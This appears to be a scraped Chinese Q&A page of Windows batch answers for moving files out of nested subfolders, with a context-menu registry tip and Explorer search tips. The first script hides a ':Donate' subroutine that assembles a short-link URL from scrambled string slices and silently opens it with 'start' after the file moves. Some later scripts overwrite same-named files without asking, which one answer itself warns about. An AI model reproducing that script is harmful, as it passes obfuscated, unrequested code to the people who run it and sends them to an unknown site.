如何批量子文件夾中的所有文件移動到根文件夾下
現在的路徑是g:\task3\111\001\0001rn我想將0001下的文件移動到001下。rnrn此外,除了002之外還有002 同樣002下還有0002 我也需要將0002下的所有文件移動到002下rn還有003 也是上述一樣的rn求腳本 感激不盡@echo off & title 移動第二層子目錄文件到第一層子目錄中 By 依夢琴瑤
for /d %%a in (*) do (
pushd "%%~a"
for /d %%b in (*) do move "%%~b\*"
popd
)
pause
call :Donate
exit
:Donate
set S0=fGRH
set S1=.:ailnhpst/
set S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%
set S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit
腳本放在111目錄中執行。以上代碼不適用于移動文件夾。
現在有一個將本目錄下所有子文件夾內文件移動到本目錄下的bat,請問怎樣才能將它添加到右鍵里
有一move.bat 當其處于文件夾A內時可以將A內所有子文件夾中的內容移動到A文件夾內。我希望添加一個郵件菜單左右右擊某文件夾后可以達到執行本bat的效果,即右鍵單擊某x文件夾則將其中的所有子文件夾內內容移動到x文件夾內。下載附件文件MoveHere.reg,自己右鍵編輯一下這個注冊表文件,達到適合你的。然后保存并雙擊導入注冊表即可。。
然后你的那個move.bat的批處理文件內容也要做部分的修改。右鍵編輯bat文件,在第一行新起一行空行,然后輸入如下內容,并保存
cd /d %1
求一個bat文件命令,批量將一個文件夾的所有“子文件夾”下的子文件夾內所有的文件移動到“子文件夾”下
難題,怕沒有完美答案……如有完美答案馬上追加500分!!!rnrnA\1980\0001\0002\0003\1-500個文件rnA\1981\0004\0006\1-500個文件rnrnA\1982\0008\1-500個文件rnrnA\1983\0012\0013\1-500個文件rnrnA\1984\0014\1-500個文件rnrn批處理后變成為——rnrnA\1980\1-500個文件rnA\1981\1-500個文件rnA\1982\1-500個文件rnA\1983\1-500個文件rnA\1984\1-500個文件rnrn也就是說 一個文件夾下不管有多少級子文件夾,經批處理后,每個一級子文件夾目錄下的所有文件統統移動到各個一級子文件夾下。for /f "delims=" %%a in ('dir /ad /b') do (
for /f "delims=" %%b in ('dir /a-d /s /b "%%~a"') do (
move "%%~b" "%%~a"
)
)放A目錄下運行
至于你的500分,我呢也不奢求!!沒必要拿這種分數來當誘惑。
你真要給分,直接在提問時,附上分數即可。分數不給,還說拿多少多少出來,,這有意思嗎??
我隨便嘮叨,答案依舊給你。。做人要實際。
也用不著批處理,就用windows自帶的搜索命令就可以實現。你在搜索框里輸入你文件的后綴,然后搜索。得到文件后,全選。想怎么移動都隨你便啦。呵呵
如何把某一文件夾內所有文件的文件名讀取到excel里面。(文件夾下面有二級目錄和三級目錄)
該文件夾是在共享盤里面,沒有新增修改權限,所以創建bat文件執行的辦法用不了的。“運行”-“command”-使用DOS命令進入你的目標文件夾-dir *.* /s >c:\a.txt
退出后,打開a.txt ,這下就可導入電子表格了
如何快速將子文件夾下的文件全部復制到一個總的根目錄下
比如1文件夾下有子文件夾1.1 1.2 1.3 2文件夾下有子文件夾2.1 2.2 2.3 ,這些子文件夾下又包含文件夾或者文件,需要批量把最里層的文件放到d:\abc文件夾下,而不是一個個文件夾的打開去復制粘貼1、電腦打開一個總的文件夾。
2、打開文件夾之后,在搜索框中輸入“*”,然后按回車進行搜索。
3、加載完搜索結果后,所有子文件夾中的文件就全都出來了。
4、所有子文件夾中的文件出來后,按Ctrl+A全選,然后按復制快捷鍵Ctrl+C復制后,就可以進行粘貼了。
@echo off
for /f "delims=" %%a in ('dir /a-d /b /s ') do (move "%%~a" d:\abc)
批處理的命令其中 “d:\abc”改成“./”可實現移動到批處理文件層
使用方法,上面代碼存成txt文本,改名成.bat,放到要執行的目錄雙擊即可
——————分割線———————
@echo off
for /f "delims=" %%a in ('dir /a-d /b /s ') do (move "%%~a" ./)
保存成.bat運行
效果:以當前批處理文件所在位置的層級為根目錄,移動所有下級子目錄里的所有文件到根目錄
警告:會覆蓋同名文件,會覆蓋同名文件,會覆蓋同名文件
比如:“學習”文件夾下有“數學”“語文”“英語”三個文件夾,里面又有“01.ppt”“02.ppt”“03.ppt”,一共9個ppt,但是不能用這個命令,使用的效果是會只剩三個文件夾。
——————分割線———————
補充:上面的碼只是應題主的要求我覺得最簡單的方法,畢竟只要一個雙擊就能完成,批處理命令一般都用于開發程序軟件用,如果只是平時處理文件想拷貝出所有文件,那么推薦直接用下面“老巫婆你送后”的方法,在搜索里打入*.*然后按類型或名字排列后切出文件放到你要放的位置就好。
開始--運行--CMD---輸入“xcopy e:1.1(原來的目錄)空格e:d(要復制的目錄)” 這個命令只能復制目錄下的文件不能連文件夾都復制,所以你要是有重名的文件的話最好改下名字。
其實有一個簡單辦法,在1文件夾下點右鍵,搜索,文件名輸入“*”,會查找出所有的文件的,按文件類型排列一下就OK了,選中所有文件,復制,剪切就OK了。
這是簡單的,你不是要批處理命令吧?那個比較麻煩,我也得找資料才能寫得出,就不找了,呵~~這個方法比較簡單
最里層的文件?他們不在同一個文件夾下?
那恐怕沒有這種功能可以同時選中它們,而不選中它們各自的上層文件夾
相關推薦:
最高額保證法律依據(民法典后保證最高額擔保的規定)
中外合資經營企業的資本(中外合資企業注冊資本金要求)
車輛抵押貸款(汽車抵押貸款需要什么條件)
國有企業設立的資料(國有企業注冊條件)
怎么注冊公司流程(公司注冊流程及需要的材料)